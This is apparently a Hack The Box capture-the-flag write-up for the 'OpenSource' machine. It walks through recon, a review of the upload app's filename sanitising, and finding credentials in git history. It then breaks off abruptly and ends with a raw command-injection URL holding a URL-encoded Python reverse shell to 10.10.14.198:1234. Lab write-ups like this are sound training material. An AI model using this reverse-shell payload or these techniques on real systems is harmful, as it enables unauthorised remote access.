OpenSource
Last updated
Last updated
Date: 24/05/2022
Difficulty: Easy
CTF: https://app.hackthebox.com/machines/OpenSource
Let’s start with a ping
ttl=63
so we are probably facing a Linux machine.
Let’s do a nmap port scan:
The TCP ports 22 and 80 are open, ssh and http, and there is a port (3000) that appears as filtered. Let’s do a detailed scan to try to obtain the services and their versions:
While the previous scan was taking place (it took around 2 minutes) I launched a whatweb scan to scan the website hosted in the port 80:
The OpenSSH build version is 7.6p1 Ubuntu 4ubuntu0.7
According to launchpad, the target machine should be an Ubuntu Bionic.
The web server is something called Werkzeug… let’s investigate about it:
https://werkzeug.palletsprojects.com/en/2.1.x/
WSGI is the Web Server Gateway Interface. It is a specification that describes how a web server communicates with web applications, and how web applications can be chained together to process one request.
Let’s see how it looks in the web-browser:
Every link redirects to # except the buttons Download and Take me there:
Let’s click on Download first:
It starts the download of a compressed file that contains what it seems to be the source code of the upcloud software.
Now, let’s click on the button Take me there!:
Let’s upload something:
Sooo… it uploaded the file to the target server and then shows you the url to view the file. Nice. It will not be that easy, but let’s try to upload a php-reverse-shell.php…
Hahahaha no, instead of interpret the php file it send it to us for download.
At this point, we have the source code of the application, so let’s try to see how it works and if there is any vulnerability we can exploit:
Utils.py code contains interesting stuff. There are several functions that try to sanitize the filename of the file we will try to upload.
The function recursive_replace
is self-explained. It takes 3 arguments:
search
: String that will be sanitized
replace_me
: String that will be replaced
with_me
: String that will replace the previous one
The function get_file_name
gets the input unsafe_filename
and replaces every ../
with nothing using the recursive_replace
function.
This function gets the input unsafe_filename
and does 2 things.
It splits the input using the most right .
character
Then it sanitizes the filename (but not the extension) and concatenate both including between a string representing the current milliseconds)
There is a comment about a feature that has not been developed yet. Maybe we can use this later… Maybe we can cause something if we try to upload 2 files with the same filename?
The views.py file has functions related to the file upload process:
Ok, if we could name our file something like “../../../../../etc/passwd” the render template should return the passwd file due to directory traversal vulnerability. But the file name is being sanitized, replacing the “../” recursively with a blank string. Maybe we can find other string which can do the same function as “../../../../” (I don’t really know if it exists).
But first, let’s see what happens when we try to upload the same file twice (due to the TODO task), so we will upload the same file again, but changing it’s content. Previously the content of text.txt was “Hello world”, this time will be “Test”.
Interesting, the upload overwrites the previous file.
Ok, let’s use Burpsuite to try to manipulate the upload. I intercepted an Upload request and send it to the repeater:
It didn’t work well…
After MANY hours trying to bypass the sanitization of the recursive replacement function in get_name… I started from other aproach:
If we list all files we downloaded:
We can see the .git folder, which indicates us that is a git repository. Let’s enumerate it!
First, let’s see if there are several branches:
Yep, we are in the public branch, but there is another one called dev, so we switched to it. Let’s read the logs:
There are some commits. Let’s see the difference between them:
Between the “ease testing” and “added gitignore”, there is nothing interesting.
But, between “ease testing” and “updated” there is a strange url with something that looks like credentials in a file called “settings.json” inside the .vscode folder.
Let’s
http://10.10.11.164/exec?cmd=ping%20-c%201%2010.10.14.198
10.10.11.164/exec?cmd=python%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.14.198%22%2C1234))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3B%20os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call([%22%2Fbin%2Fsh%22%2C%22-i%22])%3B%27%0A
psp